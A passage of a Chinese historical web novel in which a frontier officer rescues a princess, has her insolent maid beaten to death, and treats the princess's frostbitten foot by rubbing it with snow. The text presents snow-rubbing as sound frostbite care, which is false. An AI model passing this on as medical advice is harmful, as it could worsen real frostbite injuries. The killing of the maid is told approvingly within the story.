老子难道是吓大的不成?
叶十三放慢了脚步,此时被积雪覆盖的地上,已经是高低不平。
掩埋在白雪下面大大小小的石头,不时地把身边的吴六子和李狗子绊倒在地。
望着不断被绊倒后又爬起来的吴六子和李狗子,香香郡主又在叶十三背上惊叫道:“你可小心点,别让摔了本郡主。”
“大人,让小的替换您一会?”
李狗子拐了过来,把后背朝向叶十三站了。
“你个笨熊,自己都摔跤,谁敢让你背啊?”
说着,香香郡主两只胳膊一用力,紧紧地箍住了叶十三的脖子。
同时,香香郡主把两条腿,极力地向前伸去,紧紧地夹住叶十三的腰。
“你……慢点!”
叶十三的脖子,被香香郡主箍着,差点就说不出话来。
“大人,小心脚下。” 吴六子用脚探着路,转头又向李狗子说道:“狗子,搭上箭,押后。”
李狗子没吭声,从吴六子手中接过强弩,双臂一用力,一支弩箭就被扣在弓弦上。
沉闷的马蹄声越来越近,隐约中还传来鞑子的怒吼声。
李狗子闪身躲在一块巨石后面,沉声道:“六子哥,你带大人先走,我弄死他几个。”
“小心点,顶不住就撤,别等鞑子靠太近。”
吴六子一声低吼,猫着腰就在前面趟路。
不多时,就听到强弩的弓弦如琴音一样悦耳,随即耳中就听到鞑子的惨叫,和重物坠地的声音。
半个时辰后,押后的李狗子呼哧带喘地跟了上来。
此时,地上已经不见有积雪,两边的山崖,就像怪兽一样耸峙而立。
“好了,这下鞑子找不到我们的脚印了。”
叶十三终于松了一口气,把背上的香香郡主往上掂了掂,然后跟在吴六子的身后,又行走了一段路。
峡谷越来越窄,光线越来越黑,路也是越来越难走。
最让人窒息的是,一股浓浓的硫磺味儿,呛得让人喘不过气来。
“大人,这……就是……硫磺谷。”
走在最前头的吴六子,用衣袖蒙着嘴,吃力地说了一句。
“这里……有……硫磺……矿?”
叶十三吃力地问。
“是!”
不敢大口喘气的吴六子,憋着劲又道:“前几年,边城太平的时候,有人来此挖硫磺石,然后卖给内地的客商,听说是做炮仗原料用。”
月光,已经被陡峭的山崖完全遮住,跌跌撞撞的叶十三,双腿已经被乱石磕破不少地方。
三人在能辩度极差的情况下,又摸黑行走了一段路。
呛人的硫磺味终于淡了下来,眼前黑得已经无法辨认物体。
摸到一处凹进去的山崖下,三人终于倒了下去。
坐在地上的香香郡主,在黑暗中紧张地望向四周,黑乎乎的夜色,使她的眼睛看不到任何的东西。
只有她的耳朵,能听到身边三人大口喘着粗气的呼吸声。
这时候,香香郡主才感觉出来,她光着的那只脚,已经被冻得就像石头一样冰凉。
“啊……”
就像被蛇咬了一口的叶十三,差点就从躺着的山崖下蹦了起来。
“喊什么喊?”
黑暗中香香郡主低声又骂道:“我的脚都快冻掉了,在你袍子底下捂一会怎么了?” 草!
老子是给你捂脚的?
就你那冰坨一样的脚,差点把老子给凉死!
叶十三肚里咒骂着,一只手把皮袍,往香香郡主的小腿上一裹,然后又往怀里一揽。
第119章 混蛋,放我下来
好大一会,三人才缓过了劲。
外面还是漆黑一片。
叶十三摸过一块用来蒙面的羊毛巾,在皮袍下摸索着,把香香郡主的那只光脚,给从小腿处缠裹起来。
香香郡主此时已经打起了轻鼾,丝毫没有察觉叶十三给她把那只光脚,已经包裹得严严实实。
“大人,鞑子没有追过来?”
吴六子耳朵贴在地面,不时地注意着周围的动静。
李狗子也在暗中说道:“要是舍了战马,鞑子是不会贸然进入这里的,他们清楚硫磺谷的地形,就是放牧的人也不走这边。”
但叶十三一声没吭,脑子里全是硫磺的事情。
“别出声,大人和郡主都困了,可能睡着了。”
吴六子示意李狗子别再出声,免得惊醒了叶十三和香香郡主。
不一会,二人也响起了时断时续的鼾声。
夜黑得就像一堵墙,密不透风的黑,真让人窒息。
在这寸草不生的峡谷,谁都说不准,还会遇上何等危险的事情?
睡意全无的叶十三,只有心中暗暗地祈祷着。
不知过了多少时候,一阵冷风吹来。
叶十三不禁打了个寒噤,定睛向外面一看,峡谷上方狭窄的天空,已经出现了灰白色。
天亮了?
“醒醒,都醒醒!”
叶十三站了起来,向外走了几步,发现外面没有任何动静时,这才解开腰带,对着地上突兀的山石,浇了一泡酣畅淋漓的隔夜老尿。
这时候,其他的三人也睁开了眼睛。
“鞑子没追来?”
揉着眼睛的香香郡主,睡眼惺忪地斜瞥叶十三一眼,然后就嘟囔了一句。
“你还盼着鞑子追来不成?”
叶十三沉下脸来,瓮声就一句怼了回去。
吴六子和李狗子相视一眼,然后装作什么都没听到,就像刚从梦中醒过来一样。
香香郡主讨了个没趣,气呼呼的低下头来,这才发现自己的那只光脚,已经被一条羊毛巾,缠裹得就像穿了一只羊毛编织的靴子。
霎时,香香郡主的脑海中,就出现了一个男人,一脸淫邪地捧着一只白嫩的脚,用心地拿一条羊毛巾,在不停地用心缠裹着。
这一想,香香郡主的一张粉脸,即刻就红到了耳根。
望着被气的胸脯剧烈起伏着的香香郡主,叶十三冷冷说道:“得赶路了,这地方也不是百分百的安全。”
“是啊!”
吴六子点点头,接着话茬说道:“这地方,是元蒙和大夏的分界线,鞑子随时会摸过来的。”
“那我们赶快离开,免得和鞑子发生纠缠。”
李狗子站了起来,把一捆绳索和一支强弩背在身上,从腰间抽出佩刀说道:“六子哥,你继续探路,我押后。”
草!
这憨狗,倒是会安排!
如此一来,老子还得背着这个胸大无脑的傻妞赶路?
说完,叶十三一回头,瞬间就像被雷击了一样。
香香郡主正在侧过身子,低头整理着被鞑子撕破了的棉袄,用红绳穿着的半片玉佩,正挂在白花花的胸前。
叶十三浑身的血液,一下子就凝固了起来,就一尊石像一样呆立当场。
“大人,该上路了。”
回头向这边瞥了一眼的吴六子,焦急地催促了一句。
整理好了钢丝软甲的香香郡主,刚一抬头,就看到叶十三望向这边直勾勾的眼神。
“啪!”
一声清脆的耳光,让叶十三陡然一惊。
他的半边脸上,已经清晰地印着五个纤细的指头印。
一张粉脸在瞬间涨得通红的香香郡主,羞愤不已地吼道:“好个下流坯子,看我不剜了你的狗眼?”
叶十三依旧站立不动,痴呆呆地盯着香香郡主已经被钢丝软甲遮住的胸前,冷声问道:“你身上的玉佩,从何而来?”
“当然是我娘挂我脖子上的,这玉佩打小就随着我的。”
此言一出,叶十三心头猛然一震。
稳了稳神,叶十三不由自主地把手伸进自己的怀里,摸了一下自己胸前和方才看到的一模一样的半片玉佩,呆立很久没有言语。
“大人,我们得尽快离开这里。”
走出了几十步远的吴六子,发现叶十三没有跟上来,这又返了回来催促。
“哦!”
被吴六子的这一声催促,叶十三猛然清醒过来,从怀里拿出手来,在革甲外面使劲地按了按。
“该走了!”
叶十三的声音,突然柔和了不少。
“不用你管,本郡主自己会走。”
香香郡主阴沉着一张脸,侧身就从叶十三身边往外走。
不料,在她刚要和叶十三擦肩而过的时候,叶十三突然出手,一把攥住了她的腰带,然后另一只手,抓住她腰的另一侧,双臂向上一举,就把香香郡主的身子,又一次扛在了肩上。
“浑蛋,放我下来!”
香香郡主不停地在叶十三的肩上踢打着。
“本郡主自己会走,不用你这浑蛋管。”
香香一边挣扎,一边踢打个不停。
叶十三冷着一张脸,任香香郡主在他的肩头不停地踢打和叫骂。
“浑蛋,你敢违抗本郡主的命令?本郡主砍了你的脑袋!”
任香香郡主如何叫骂和踢打,叶十三一声不吭,冷着脸只顾赶路。
……
又是一个时辰过去,在叶十三肩头被扛着的香香郡主,好像是闹腾累了,一脸愤怒地别过脸去。
叶十三的额头,已经是汗流如雨。
此时,天色已经大亮。
没走上二里地,白茫茫的雪,又出现在眼前。
“大人,我们走出硫磺谷了。”
同样汗流浃背的吴六子,停了下来望了叶十三一眼。
在后面押阵的李狗子,也跑到了前面,兴奋地大叫起来:“我们安全了,我们到了野驴滩地界。”
叶十三望着峡谷口外面的积雪,不由得暗暗松了一口气。
这时候,香香郡主出奇地安静,丝毫没有再闹腾半点。
稍停了片刻后,顺过了一口气的叶十三,扛着香香郡主,加快了步子,就直奔峡谷外面。
“叶大人!”
“郡主!”
刚一出峡谷,不远处就喊声一片。
一队人马,扬起一阵雪片,向着这边急奔而来。
“大人,是骠骑校尉苏哲?”
“嗯!”
叶十三点点头,冷声道:“这狗东西还没走。”
“大人,他哪敢离开?”
“就是,他长着几颗脑袋?我们去闯鞑子兵营,让他们在此接应,如果连这都办不到,可真够差劲的,还有脸在边城指手画脚?”
吴六子和李狗子,望着奔过来的人马,嘴里轻蔑地在嘲讽个不停。
“行了!”
叶十三腾出一只手摆了摆,冷声又道:“既然任务已经完成,这里也没我们的事了,回黄羊岘。”
说着,叶十三把肩上的香香郡主放了下来,然后头也不回地走向了山崖下自己来时骑着的战马。
第120章 我果然没看错人
叶十三径直取了马,带着二人一路狂奔。
“大人快看!”
吴六子突然一声惊呼。
就在快要到达野驴滩的村子时,一支大队兵马,正向这边浩浩荡荡地开了过来。
旌旗猎猎,声势浩大。
大地在沉闷的马蹄声中,一阵剧烈震动。
无数的雪片,被战马的马蹄踩得在半空中扬起。
“大人,是北防军的主力,目测足有一千人马。”
吴六子勒住了马头,激动地指向前面。
“乖乖!”
李狗子一吐舌头,惊道:“这些老爷们,终于舍得出动了?”
“是北防军的常备军?”
叶十三眉头一皱,冷声一问。
“是的大人,看旗帜,就是北防军主力部队的旗子,他们在镇上大营的,镇上岳大将军手里,还有两万多北防军常备军,没有大规模的战斗是不会出动的。”
“老天啊!”
李狗子摇摇头,又道:“这些尊神,很难请得动,这次太阳从西边出来了,都出动了一千兵马?”
不多时,大队兵马已经到了眼前。
在一个骑着高头大马的武将后面,跟着同样骑着马的岳佟和周敬堂二人。
一打照面,岳佟一扬手,身后的大军就停了下来。
嘶鸣着的战马,被突然勒停后,不停地在雪地上焦躁地转着圈。
没等叶十三下马行礼,岳佟抢在前面大声吼道:“郡主可曾脱险?”
没等叶十三回答,周敬堂又抢在前面,指着叶十三怒吼道:“你玩忽职守,闯下如此大祸,令香香郡主落入敌手,还不下马受死?”
“周大人稍安勿躁!”
岳佟目光冷冷,向周敬堂投去一瞥,然后又把视线转移到叶十三脸上,急道:“聋了?本将问你话呢!”
刚要准备下马的叶十三,立刻打消了下马行礼的念头,只是转过头去,向身后一指。
顺着叶十三所指的方向,周钊高喊起来:“大将军,是郡主他们。”
“哼!”
岳佟冷哼一声,举目向叶十三身后的方向望去,愣了一下身后,喊道:“快去迎接郡主凯旋。”
一声令下,马蹄又奔腾起来,眨眼间就把苏哲一行围在中间。
已经被扶上了马背的香香郡主,一脸寒霜地由着跨下的战马走着,只把跟在战马后面一路奔跑的一名卫兵,差点给累得吐血。 “郡主,您没事吧?”
周敬堂策马抢先,在香香郡主的马前跳下马来,急切地迎了上去,又道:“无恙就好,下官这就回去治叶十三的大罪。”
“这次,是你该嘉奖他!”
香香郡主阴沉着一张脸,冷声就回了周敬堂一句。
“郡主,您可吓死本将了!”
岳佟环顾一下四周,这才催马上前,在马背上向香香郡主拱手一礼。
“本郡主能安然回来,让你们失望了?”
香香郡主依旧冷若冰霜,张口就怼了岳佟一句。
岳佟面颊一抽,随即又换上一副笑脸,谦声说道:“一线防区还是危险颇多,请郡主带着随从,在万川郡城内驻扎可好?”
“谢大将军抬爱,本郡主哪儿都不去!”
香香郡主抬起头来,傲然地一扫眼前的兵马,缓缓地回了岳佟一句。
碰了个软钉子的岳佟,毫不气馁地又道:“郡主之心,令人钦佩,这行军打仗的事,本是我边军的职责,郡主身为监军,指导指导就可,不必如此认真。”
香香郡主摆摆手,冷冷说道:“本郡主累了,还是回驻地再说吧!”
说完,香香郡主目不斜视,一扯马缰,策马就狂奔起来。
“跟上!”
岳佟面颊又是一抽,扬手吼道:“传令下去,队尾变排头,护送郡主返回驻地。”
周敬堂见状,赶快翻身上马,向着香香郡主的方向就追了上去。
这一下,排头的岳佟,就落到了队尾。
叶十三立在马上,冷眼看着大队兵马又原地返回。
这时候,岳佟策马来到叶十三马前,沉声道:“走着说。”
叶十三没有吭声,紧跟在岳佟的马后。
“好险!”
岳佟回过头来,低声又道:“周大人留在何家大院的刘四跑回镇上禀报,军部这才知道香香郡主出了事。”
“实情究竟如何,快给本将说说?”
叶十三摇摇头,懒懒说道:“回大将军话,末将嗓子有些不适,还是让吴甲正代末将禀报好了!”
此言一出,吴六子的眼睛亮了。
狠狠咽下一口唾液,吴六子催马上前,滔滔不绝地向岳佟讲述了起来……
“啊……”
待吴六子添油加醋的叙述完毕,岳佟被惊得半天合不拢嘴。
片刻后,岳佟视线移到叶十三脸上,惊道:“苏哲的兵马一直候在我方境内,是你三人直入虎穴,把郡主给救了回来?” “算是吧!”
叶十三丝毫没有一个胜利者该有的骄傲,只是失神地望着前方,淡淡地回了岳佟一句。
“我果然没看错人!”
岳佟掩饰不住内心的喜悦,侧过头来又道:“本来,周大人以为,抓住了你失误的把柄,想借机把你拿下,这下好了,看他如何应对?”
“对了!”
岳佟说完,忽然又道:“既然这个郡主如此任性,看来她是铁了心要留下了,我把这一千兵马,就留给你了,如何布防,你自己看着办吧!”
草!
这老货,还真豁出去了?
一千全副武装的常备作战主力军,就这样给老子了?
叶十三心头一震,抬头望了岳佟一眼。
“末将遵命!”
说完,叶十三不再言语半句,闷声只管赶路。
倒是岳佟兴头不减,居然向吴六子和李狗子二人,一路上问东问西。
受惊若宠的二人,掩饰不住内心的激动,小心翼翼地回答着岳佟的每一句问话。
直到了中午时分,大队人马这才回到何家大院。
此时的何家大院,刘四和王选,已经指挥着从衙门来的厨子,做好了一桌热气腾腾的酒菜,只等着给香香郡主接风压惊。
及时向周敬堂报信立了一功的二人,不时地在大院门口向远处张望着。
在看到香香郡主骑在马上,在一千大军的护送下回来,刘四和王选,差点就激动得蹦了起来。
只要香香郡主安好,就是他二人的晴天。
否则,周敬堂的那一关,可是会要了他二人的小命。
这下好了,还有一笔可观的赏银到手。
报信有功,赏银起码不下五两吧?
第121章 杖毙
“郡主,您可回来了!”
月瑶和紫伶两名侍婢,一见香香郡主,赶忙就迎了去。
“难道我就回不来了?”
香香郡主杏眼圆睁,狠瞪从左右搀扶着她的两名侍婢。
“郡主,您的脚?”
其中的一名侍婢月瑶,低头的时候,突然瞅见香香郡主的一只脚。
这一喊叫,侍婢紫伶也注意到了。
“郡主,您的脚受伤了?”
哪壶不开提哪壶,此时的香香郡主,最烦的就是这个。
“鬼叫什么?”
看到香香郡主如此愠怒,两名侍婢心里一沉,顿时就不敢再多嘴。
“快,端盆热水过来,给我好好泡泡脚,都快冻掉了。”
香香郡主咬着牙,低声向两名侍婢吩咐了一句。
“奴婢知道了!”
由紫伶扶着香香郡主进了寝室后,月瑶拔腿就往灶间跑去端热水。
此时,一众将领和官员,都聚集在正屋门口廊檐下,等候参见香香郡主。
这一场惊险,差点吓掉了北防军将领和地方官员们的三魂。
正屋里面,已经摆上了两桌酒菜,正准备给香香郡主压惊。
有这些人在,叶十三这样的千户职,还真没资格往上凑。
叶十三的心里,一直放心不下叶刘氏和彩儿。
她们被香香郡主硬留在何家大院,就是叶十三心中无法承受的痛。
伙房就在后院的入口处,叶十三正拔腿走向后院,看到从寝室出来的月瑶,正急急赶往伙房,嘴里还边嚷嚷着。
“热水快上,郡主要泡脚!”
泡脚?
这蠢货要泡脚?
叶十三不由得停下脚步,呆立在伙房一侧。
“郡主的靴子都掉了,脚被冻坏了,水要烫,不可凉了。”
伙房里面,又传出月瑶火急火燎的催促声。
不好!
这蠢货要害死她自己。 叶十三打消了去看望家人的念头,转身又往外走。
刚走的伙房门口,差点和端着热水盆的月瑶撞个满怀。
“眼瞎啊?”
月瑶一个趔趄,手中装着热水的木盆就飞了出去。
“哗啦……”
刚从锅里舀出来的多半盆热水,就被泼洒了一地。
那只盆子也骨碌碌滚出去好远,在地上划了个半圆就倒扣了下来。
“走路不长眼,你那两只狗眼是作何用的?”
一看仅有的些热水,都被洒了个一干二净,脸都绿了的月瑶,气急败坏地指着叶十三破口就骂。
这一阵叫骂,前院正屋门口廊檐下,等候的人们纷纷赶了过来。
“周大人啊!可了不得了。”
一见周敬堂双手提着官袍的下摆,也匆匆赶到,月瑶在地上跳着又道:“郡主的洗脚水,被这不长眼的混蛋给打翻了。”
“一盆热水而已,烧就是了,如此大吼大叫成何体统?”
还是岳佟看不下去了,冷声就是一句厉斥。
“岳将军,你可不知,郡主的靴子都掉了,如此寒冷的天气,脚都冻坏了,奴婢要给郡主泡泡脚,可这热水让他给弄洒了!”
月瑶一脸委屈,仗着香香郡主的特殊身份,把岳佟都不放在眼里。
一个奴婢都如此骄横,可见这个香香郡主的刁蛮,是到了何种程度?
“这种口气跟大将军说话,你哪来的底气?”
叶十三开口了,然后摆手怒道:“李狗子何在?”
“小的在。”
李狗子就像一阵旋风,霎时就到了叶十三面前。
叶十三目光冷冷,看向气急败坏的月瑶,淡淡说道:“以下犯上,掌嘴!”
没听错吧?
一个小小的千户大,而且还是下千户,居然命令手下掌月瑶的嘴。
“你敢?”
李狗子还没动手,月瑶却先跳了起来。
一个把周敬堂和岳佟,都不放在眼里的侍婢,哪里还受得了一个千户的气?
“老子有何不敢?”
叶十三双手交叉放在胸前,缓缓上前两步,目光一瞥李狗子,又道:“掌嘴就免了。”
此言一出,岳佟霎时就长出了一口气。 本来他即将出言劝阻,无奈月瑶先跳了起来,这种摩擦还是少发生为何。
强忍着一肚子怒火的岳佟,刚想说几句和稀泥的话,来给双方下台,却看到叶十三眼里已经是杀机迸溅。
不好!
要出事?
“杖毙!”
叶十三目光冷冷,语气更是冰冷,淡淡说道:“拿军棍过来,杖毙这等不知天高地厚的东西!”
“反了?”
周敬堂抢先一步,冲到叶十三面前,指着叶十三的鼻子吼道:“本官还没追究你玩忽职守之罪,你却倒好,反过来要谋害郡主的侍婢,你,到底是何居心?”
面对周敬堂歇斯底里的声讨,叶十三眼里的杀机越来越浓。
“李狗子,你想抗命?”
“大人,小的这就执行。”
李狗子浑身一抖,转头看到吴六子已经操着一根棍子,正站在一旁看着他。
“棍子给他,打!”
叶十三当然注意到了这些,阴着脸又是一声怒吼。
“接着!”
吴六子何等机灵,一扬手,手中的一根枣木棍,就飞向李狗子。
“遵命!”
李狗子话音一落,吴六子扔过来的那根枣木棍子,业已接着手中。
此时,紫伶还没意识到危险已经来临,她还以为这是叶十三在虚张声势。
郡主的侍婢,谁敢动刑?
谁也没有料到,这个叶十三还真的较上劲了。
更让人没有料到的是,月瑶不但没有一句软话,而是学着叶十三的样子,双手在胸前交叉一抱,偏着头挑衅地看向叶十三。
“吃了豹子胆了?”
周敬堂更是怒火中烧,肥胖的身躯一抖,跳着指向叶十三又道:“敢打郡主的侍婢,你活腻了?”
此时,周敬堂更盼着月瑶挨打,最好了叶十三亲自动手。
这样一来,不但叶十三逃脱不了香香郡主的报复,就连他的上司岳佟,怕是也脱不了干系。
“啪……”
只见李狗子已经抡圆了的棍子,横扫过去就抽在了月瑶的腰间。
“啊……”
斜着眼睛和叶十三对峙中的月瑶,惨叫一声就横飞出去一丈远。 看看李狗子的块头,这一棍子,怕是已经打断了月瑶的腰骨。
这下好了,本来是被按在地上挨打的月瑶,这下不用人按着了,已经趴在地上起不来了。
面颊一抽的李狗子,提着棍子上前几步,稍稍迟疑一下,然后抡起棍子又打了下去。
这一棍子下去,除了棍子打在人肉上的响声后,再无月瑶的惨叫声发出。
“啪、啪、啪……”
一,二,三……
棍子不断地抽打在月瑶的身上,发出一阵又一阵沉闷的响声。
只见毫无声息的月瑶,嘴巴和鼻孔,甚至耳朵都已经渗出血来。
就在这时候,香香郡主突然出现在众人的视线中,瞥了一眼已经毫无生命特征的月瑶,冷冷说道:“你们,就当本郡主不存在吗?”
第122章 郡主息怒
无人回答,都低下了头来。
香香郡主把视线,从月瑶的身上,缓缓移动到叶十三脸上,淡淡道:“是你,阻止本郡主泡脚?”
“是。”
叶十三面无表情,吐字清晰地应了一声。
这叶十三难道是不想活了?
无非就是不小心撞翻了紫伶端着的泡脚水,何况这又不是叶十三一人的过错。
可这叶十三,居然当着所有人的面,亲口承认了下来。
只是不小心撞翻水盆,如何就成刻意不让郡主泡脚了?
“是你故意,不让本郡主泡脚了?”
香香郡主依旧一脸冰霜,冷冷的又是追问一句。
不好,叶十三摊上事了,而且还是摊上大事了。
“这是为何?”
香香郡主陡然色变,几乎是暴跳着怒吼了出来。
这一声吼,在场的人顿时心里一沉。
叶十三转过脸来,目光冷冷看向香香郡主,淡淡说道:“除非郡主自己,是不想要那只脚了。”
这不废话吗?
哪有人甘愿不要自己的脚的?
“你说什么?”
香香郡主第二次吼叫起来,粉面也是一阵急抖。
“我说你,除非是不想要自己的那只脚了。”
叶十三依旧平静如水,回答得不瘟不火。
说完,叶十三摇摇头,缓缓又道:“北漠气候寒冷,尤其时值隆冬,郡主的一只脚裸露在外受了冻,理应用雪搓脚,直至血液循环畅通,而不是用热水来缓解酸麻的冻感。”
一语惊醒梦中人。
岳佟浑身一抖,赶忙拱手说道:“启禀郡主,叶千户此言不假,郡主的脚被冻了个半僵,这要是泡在热水里,直接会导致肌肉坏死,从而废了一条腿……”
“郡主明鉴!”
周钊也上前两步,躬身拱手,急道:“郡主不知边城气候,这人若是久冻半僵,万不可直接受热,而是用冰雪搓体使其发热,如此可救得性命,郡主只是一只脚受冻,当然是只用冰雪搓脚就可。”
“就是啊郡主,在边城,经常有牧民,或者是兵士被暴风雪冻僵,都是用冰雪搓体才救得活命……”
“郡主误会了,叶大人是一番好意……”
“叶大人深知热水泡冻体的凶险,故斗胆阻拦……”
一些官员们,也纷纷替叶十三解释。 此时,若有人刻意推翻叶十三的这个说法,那就是蓄意谋害郡主了。
就是一心想置叶十三于死地的周敬堂,也不会这么愚蠢。
“郡主,的确如此。”
周敬堂凑到近前,低声一句。
“哦!”
香香郡主面上的表情,霎时就变得复杂起来,目光仍然紧盯着叶十三的脸,缓缓说道:“是他们说的这样吗?”
“差不多吧!”
这下,叶十三可没有肯定,而是模棱两可地回了一句。
“好!”
忽然,香香郡主笑了,又道:“既然叶千户如此关心本郡主的安危,那么好了,就由你来给本郡主用冰雪搓脚。”
此言一出,李狗子都差点晕倒。
一个貌若天仙的郡主,居然指明了让叶十三给她搓脚?
没听错吧?
就他背着香香郡主撤退的时候,香香郡主身上的那股子香味儿,至今让他陶醉不已。
这女人,居然当着这么多人都面,居然提出了让叶十三来干这等美事。
不但李狗子差点晕倒,就连周敬堂,也都被惊得合不拢嘴。
岳佟更是,一脸茫然地望着香香郡主,真搞不明白这香香郡主,是不是被叶十三气糊涂了?
“我?”
也该叶十三吃惊了。
“当然是你。”
香香郡主语气肯定,态度坚决。
“郡主是说,让末将来给郡主用冰雪搓脚不成?”
叶十三的脸,差点都绿了,自己的一只手,指着自己的鼻子又问一句。
香香郡主脸上的笑意,突然消失不见,提高了声调又暴怒道:“你让人打死了她,你不替她给本郡主搓脚,还能有谁?”
“啊……”
这话,让在场的所有人,顿时都大吃一惊。
原来,点名让叶十三搓脚,是为了给她的侍婢要个说法。
也就是说,侍婢该死,但这口气,郡主是咽不下来,要以这个借口来羞辱叶十三。
“郡主息怒!”
面上一阵尴尬的岳佟,拱手一礼说道:“郡主千金之体何等金贵,如何能让一个粗糙爷们干这事,月瑶已经不能复生,也是个意外,但郡主身边还有紫伶姑娘啊!” 这话没错,也合情合理。
就是月瑶死了,那也是罪有应得。
要让叶十三搓脚给她,就算是羞辱了叶十三,替自己的侍婢出了口气,也给自己挽回一点面子,但身为一个未出阁的女儿家,此等举动难道就妥当?
女子的脚,那是羞体的一部分,岂能轻易展示给家庭成员之外的男子?
气糊涂了,这香香郡主绝对是被叶十三这货给气糊涂了。
就连急于致叶十三于死地的周敬堂,也不禁拱手惊道:“郡主不可,郡主千金之体何等尊贵,哪能让一个奴籍触碰?”
草!
你这无耻的老舔狗!
老子背着她跑了半夜,还千金之体?
还何等尊贵?
去你娘的,要不是老子豁出命去,你们这些鸟人眼中的千金之体,早让鞑子当狗肉给啃了。
要不是老子用羊毛巾缠裹住那只尊贵的蹄子,恐怕挨不到这里早就被冻得断裂掉了。
这妞被冻急后,把那只蹄子塞老子怀里的时候,你们这些鸟人可曾看到?
“让我来!”
突然,从后院传来叶刘氏的叫喊声。
听到动静的叶刘氏,一手拉着双目失明的彩儿,来到香香郡主面前跪了。
“犯妇恳求郡主,就让犯妇来替郡主搓脚,叶十三粗枝大叶,不适合……”
“行了!”
香香郡主眼里闪过一丝不安,摆手打断叶刘氏要说下去的话,眼神游离不定地又道:“这是本郡主,和叶千户之间的事,于其他人等无关。”
说完,香香郡主突然转身,急急就回了寝室。
“娘!”
叶十三赶忙上前,扶起叶刘氏和彩儿,道:“郡主说得没错,这事不关他人,娘就不要掺和了。”
待叶十三把叶刘氏和彩儿送回后院,叶刘氏这又急道:“闰儿,娘的话,你可要记住了,万不可招惹她,人家是高高在上的郡主,我们叶家,现已是戴罪之身的奴籍。”
望着一脸痛苦的叶刘氏,还有欲言又止,目光躲躲闪闪的叶举,叶十三把目光投向蔡一,道:“你跟我出去,到外面扫一盆子干净的雪……”
说完,叶十三揣着一肚子的疑问,转身就离开了后院。
第123章 知道疼就好了
蔡一很快,就端来一盆白得耀眼的雪。
叶十三已经在香香郡主的寝室外面站着。
“你来何干?”
一脸惊慌,心怀敌意的紫伶,推开门,就看到外面站着的叶十三。
“来给郡主搓脚!”
叶十三面无表情,笃定得让人生疑。
“让他进来!”
寝室里传出香香郡主冰冷的声音。
紫伶一怔,这才把身子一挪,给叶十三让出道来。
叶十三嘴角扬起一丝冷笑,在众目睽睽之下,昂首就迈进了香香郡主的寝室。
蔡一也是一怔,端起装满了白雪的盆子,低着头就跟了进去。
进了寝室,叶十三背对着香香郡主站着。
“木头一样站着干嘛?”
香香郡主嘴角,浮起一丝冷笑,轻蔑说道:“不让月瑶给本郡主用热水泡脚,还让手下杖毙了她,你可够狠的哈!”
“既然如此,那你来给本郡主用什么冰雪搓脚,让血液尽快流通起来好了!”
说着,香香郡主把一只几乎快要失去知觉的光脚,搭在眼前的一只绣凳上,目光向叶十三投去复杂的一瞥。
叶十三依然背对着香香郡主,缓缓说道:“愚蠢也就罢了,可恨的是她还出言不逊,连车骑大将军都不放在眼里,如此恶奴,难道不该杖毙?”
“行了!”
香香郡主傲然一摆手,冷冷说道:“不说她了,死了也就死了,一个该死的奴才而已。”
说完,香香郡主目光游离不定,撇嘴又道:“既然热水泡脚,会导致这脚的坏死而不保,那么好了,你不是很能吗?给本郡主用你的好方法施治啊!还木头一样愣着干嘛?”
“郡主三思!”
一旁的侍婢紫伶,霎时一脸惊诧,连忙摆手急道:“男女授受不亲,再说郡主是千金之体,由一个下贱至极的奴籍,触碰郡主的肢体……”
“滚出去!”
紫伶的话还没说完,就被香香郡主厉声打断。
“出去,外边侯着。”
香香郡主面露愠色,冷声又是一句。
看到郡主暴怒,被吓得浑身打颤的侍婢紫伶,赶忙低下头来,躬身就退出了寝室。
“你也出去!”
见月瑶退下,香香郡主把视线,又转移到旁边端着一盆子白雪的蔡一,冷声又道:“盆子放下,让他来。”
蔡一浑身一抖,怯生生抬起头来望着叶十三。 “去吧!照顾好我娘和妹妹。”
叶十三转过头来,摆摆手,示意蔡一把装满了雪的木盆放在地上。
看到蔡一也躬身退了出去,香香郡主眼里闪过一丝得意,轻蔑说道:“动手呀!难道你要等到这雪融化成水,再把水烧烫了不成?”
叶十三没有搭话,面无表情地在绣凳前缓缓蹲了下来。
香香脚上裹着的羊毛长巾,被叶十三一层一层地剥了下来。
那动作,细致得就像是在剥一只粽子。
“啊……好冷……”
当叶十三从盆子里抓起一把冰冷的雪,一手握住香香郡主的一只脚腕,另一只抓着雪的手,把一抔白花花的雪,缓缓放在香香郡主白生生的脚面,然后快速地揉搓起来。
“好冷……啊……我受不了了……快停手……”
任香香郡主如何大吼大叫,叶十三依然不为所动,低着头一直从香香郡主的脚背揉搓到脚心,又从脚踝,一路直上,揉搓到脂玉一样的腿肚。
地上盆子中的雪,越来越少。
香香郡主撕心裂肺的叫喊声,也越来越小。
直到盆子中的雪已经被用完,搁着香香郡主一只脚的绣凳,已经被搓得融化了的雪水淋得湿透。
此时,香香郡主的一只白如玉雕的光脚,已经被叶十三就着雪水揉搓得血色一片。
“混蛋,该死!”
怒不可遏的香香郡主,猛然抽回那只搁在绣凳上的光脚,站了起来指着叶十三的鼻尖骂道:“你弄疼本郡主了,这又该当何罪?”
当你娘个蛋!
叶十三默不作声,肚了却骂开了锅。
“回答本郡主的话,你该当何罪?”
香香郡主粉脸绯红,指着叶十三鼻尖的食指,又戳近一截。
“知道疼就好了!”
叶十三面无表情,依旧不温不火,缓缓说道:“要是再无痛感,郡主这只脚,岂不是和石块木头无异?”
“都红了,要出血了!”
香香郡主把那只被叶十三揉搓得一片赤红的光脚,狠狠地在地毯上跺了跺,又怒道:“本郡主看你是诚心使坏,你就不会轻点?”
“红就对了!”
叶十三一撇嘴,淡淡又道:“倘若如此一番,郡主的脚要是颜色变黑,那只有让军部的随军郎中给用锯子截了。”
这些道理,再是愚蠢的人,大概也懂了几分。
但香香郡主却不依不饶,非要治叶十三的罪。
香香郡主自己找出来一双袜子,恶狠狠地瞪向叶十三,怒道:“看什么看?”
怒骂一声后,重新穿好了袜子的香香郡主,又换上了一双崭新的鹿皮长靴。 “既然郡主已经无恙,这里没末将的事了。”
说完,叶十三潦草一礼,扭头就出了寝室。
刚一出门来到廊檐下,候在外面的官员,和将领们一起围了过来。
“郡主她……”
岳佟向叶十三投来问询的一瞥,面色沉重得就像锅底。
“死不了,也瘸不了。”
叶十三说完,自行就往后院走,他的心里,此时只有他的家人。
“放肆!”
周敬堂又跳了起来,指着叶十三的背影,向岳佟说道:“目无军纪,屡次犯上,而且对郡主心怀不轨……”
“行了!”
岳佟冷冷一瞥周敬堂,话里有话说道:“郡主安好,就是你我的晴天,既然郡主都不再问责此事,你我何必再自找麻烦?”
面对岳佟对叶十三的极力袒护,周敬堂面颊一抽,一时又找不出合适的词来继续指证。
